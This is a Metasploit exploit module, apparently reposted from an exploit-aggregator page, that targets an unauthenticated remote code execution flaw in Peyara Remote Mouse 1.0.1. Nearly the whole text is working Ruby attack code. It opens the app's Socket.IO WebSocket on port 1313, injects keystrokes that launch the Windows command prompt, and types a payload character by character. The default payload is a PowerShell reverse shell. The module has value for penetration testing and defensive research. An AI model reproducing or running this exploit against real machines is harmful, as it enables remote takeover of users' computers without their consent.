Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-MISC-PEYARA_REMOTE_MOUSE_RCE-
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Rex::Proto::Http::WebSocket
  prepend Msf::Exploit::Remote::AutoCheck

  # Engine.IO / Socket.IO packet types exchanged as plain WebSocket text frames.
  # See: https://socket.io/docs/v4/engine-io-protocol/ and
  #      https://socket.io/docs/v4/socket-io-protocol/
  ENGINEIO_OPEN = '0'         # Engine.IO OPEN (handshake) packet
  ENGINEIO_CLOSE = '1'        # Engine.IO CLOSE packet
  ENGINEIO_PING = '2'         # Engine.IO PING packet
  ENGINEIO_PONG = '3'         # Engine.IO PONG packet
  SOCKETIO_CONNECT = '40'     # Engine.IO MESSAGE (4) + Socket.IO CONNECT (0)
  SOCKETIO_EVENT = '42'       # Engine.IO MESSAGE (4) + Socket.IO EVENT (2)

  # Fixed delay (seconds) after launching the command prompt, giving the
  # window time to appear before keystrokes are typed into it.
  WINDOW_DELAY = 1.0

  # Peyara serves a single Engine.IO session at a time and keeps a dropped one
  # alive until its ping timeout, so a fresh connection can briefly fail to get
  # the OPEN frame. Retry the connect until the previous session is released.
  CONNECT_RETRIES = 10
  CONNECT_RETRY_DELAY = 3

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Peyara Remote Mouse 1.0.1 Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an unauthenticated remote code execution vulnerability
          in Peyara Remote Mouse 1.0.1. The application exposes a Socket.IO
          WebSocket service on TCP port 1313 and accepts unauthenticated keyboard
          input events.

          The module sends keyboard events to open the Windows command prompt and
          type a Metasploit command payload, allowing arbitrary command execution
          in the context of the user running Peyara Remote Mouse.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'tmrswrr' # Vulnerability discovery, original PoC, and Metasploit module
        ],
        'References' => [
          ['URL', 'https://github.com/capture0x/Peyara'],
          ['URL', 'https://peyara-remote-mouse.vercel.app/']
        ],
        'DisclosureDate' => '2025-05-30',
        'Platform' => 'win',
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Targets' => [
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 1313,
          'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp',
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [SCREEN_EFFECTS, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base path for the Socket.IO endpoint', '/']),
        OptFloat.new('KEY_DELAY', [true, 'Delay between keyboard events in seconds', 0.06]),
        OptInt.new('WS_TIMEOUT', [true, 'Timeout for WebSocket operations in seconds', 5])
      ]
    )
  end

  def recv_wstext(wsock)
    frame = nil

    begin
      # TODO: R7 engineers may want a pattern that avoids the Timeout API here.
      ::Timeout.timeout(datastore['WS_TIMEOUT']) do
        frame = wsock.get_wsframe
      end
    rescue ::Timeout::Error
      return nil
    end

    return nil unless frame

    frame.unmask! if frame.header.masked == 1
    frame.payload_data.to_s
  end

  # Performs the Socket.IO namespace connect handshake on an open WebSocket and
  # returns true once the server acknowledges with a CONNECT packet.
  def socketio_connect(wsock)
    wsock.put_wstext(SOCKETIO_CONNECT)

    3.times do
      frame = recv_wstext(wsock)
      next if frame.nil?

      wsock.put_wstext(ENGINEIO_PONG) if frame == ENGINEIO_PING
      return true if frame.start_with?(SOCKETIO_CONNECT)
    end

    false
  end

  # Close the Engine.IO session before dropping the socket. Without the explicit
  # CLOSE packet the server keeps the session alive until its ping timeout, which
  # blocks the next connection (for example check() followed by exploit()).
  def close_session(wsock)
    return unless wsock

    begin
      wsock.put_wstext(ENGINEIO_CLOSE)
    rescue StandardError
      nil
    ensure
      wsock.wsclose
    end
  end

  def send_event(wsock, event, data)
    wsock.put_wstext("#{SOCKETIO_EVENT}#{JSON.generate([event, data])}")
    Rex.sleep(datastore['KEY_DELAY'])
  end

  def press_key(wsock, key)
    send_event(wsock, 'key', key)
  end

  def open_command_prompt(wsock)
    send_event(wsock, 'edit-key', { 'key' => 'escape', 'modifier' => ['control'] })
    Rex.sleep(0.5)

    %w[c m d enter].each do |key|
      press_key(wsock, key)
    end

    Rex.sleep(WINDOW_DELAY)
    press_key(wsock, 'enter')
    Rex.sleep(0.5)
  end

  # Open a fresh Engine.IO session and return the socket once the server sends
  # the OPEN frame, retrying while a previous (still lingering) session blocks it.
  def open_socketio_session
    CONNECT_RETRIES.times do |attempt|
      # connect_ws issues the upgrade through send_request_raw, which does not
      # render vars_get, so the Engine.IO query has to live in the request URI.
      wsock = connect_ws('uri' => "#{normalize_uri(target_uri.path, 'socket.io/')}?EIO=4&transport=websocket")
      return wsock if recv_wstext(wsock)&.start_with?(ENGINEIO_OPEN)

      close_session(wsock)
      Rex.sleep(CONNECT_RETRY_DELAY) unless attempt == CONNECT_RETRIES - 1
    end

    nil
  end

  def check
    wsock = open_socketio_session

    return CheckCode::Safe('The service did not return the expected Socket.IO open frame') unless wsock

    # An Engine.IO open frame alone is common to any Socket.IO service, so also
    # require a successful Socket.IO namespace connect to reduce false positives.
    return CheckCode::Appears('The service completed a Socket.IO namespace connect handshake') if socketio_connect(wsock)

    CheckCode::Detected('An Engine.IO service is present but did not complete the Socket.IO connect handshake')
  rescue Rex::Proto::Http::WebSocket::ConnectionError => e
    CheckCode::Unknown("WebSocket connection failed: #{e.message}")
  ensure
    close_session(wsock)
  end

  def exploit
    print_status('Connecting to the Socket.IO WebSocket endpoint')
    wsock = open_socketio_session
    fail_with(Failure::Unreachable, 'The service did not return the expected Socket.IO open frame') unless wsock

    fail_with(Failure::UnexpectedReply, 'The Socket.IO namespace connect was not acknowledged') unless socketio_connect(wsock)

    print_status('Opening command prompt through remote keyboard events')
    open_command_prompt(wsock)

    command = payload.encoded
    print_status("Sending payload command (#{command.length} bytes)")

    # Type the command one character at a time. Batching characters into a single
    # "key" event makes the target collapse repeated keys (e.g. "ll", "dd") and
    # garble bursts; one event per character (space included, as a literal " ")
    # is what types the payload reliably.
    command.each_char { |ch| press_key(wsock, ch) }

    Rex.sleep(WINDOW_DELAY)
    press_key(wsock, 'enter')

    handler
  rescue Rex::Proto::Http::WebSocket::ConnectionError => e
    fail_with(Failure::Unreachable, "WebSocket connection failed: #{e.message}")
  ensure
    close_session(wsock)
  end
end